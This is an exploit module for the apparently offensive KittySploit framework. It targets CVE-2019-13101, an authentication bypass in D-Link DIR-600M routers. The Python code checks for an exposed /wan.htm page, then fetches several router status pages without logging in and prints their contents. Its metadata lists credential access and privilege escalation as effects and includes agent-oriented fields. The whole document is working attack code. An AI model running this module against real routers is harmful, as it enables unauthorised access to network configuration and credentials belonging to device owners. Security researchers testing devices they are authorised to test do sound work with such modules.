D-Link DIR-600M Auth Bypass (CVE-2019-13101)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DIR-600M auth bypass (CVE-2019-13101)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'D-Link DIR-600M Auth Bypass (CVE-2019-13101)',
        'description': (
            'Exploits CVE-2019-13101 in D-Link DIR-600M: unauthenticated access to WAN '
            'configuration pages such as /wan.htm.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2019-13101'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2019-13101'],
        'tags': ['dlink', 'router', 'auth-bypass', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['credential_access', 'privilege_escalation'],
            'expected_requests': 3,
            'reversible': True,
            'approval_required': True,
            'produces': ['admin_surface'],
            'chain': {'suggested_followups': ['scanner/http/cve_2019_13101_detect']},
        },
    }

    def check(self):
        r = self.http_request(method='GET', path='/wan.htm', allow_redirects=False)
        if r and r.status_code == 200 and '/PPPoE/' in (r.text or ''):
            return {'vulnerable': True, 'reason': 'DIR-600M WAN page exposed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'WAN page not accessible', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('DIR-600M bypass failed')
            return False
        for path in ('/wan.htm', '/status.htm', '/index.htm'):
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if r and r.status_code == 200:
                print_success(f'{path} — {len(r.text or "")} bytes')
                print_status((r.text or '')[:1200])
        return True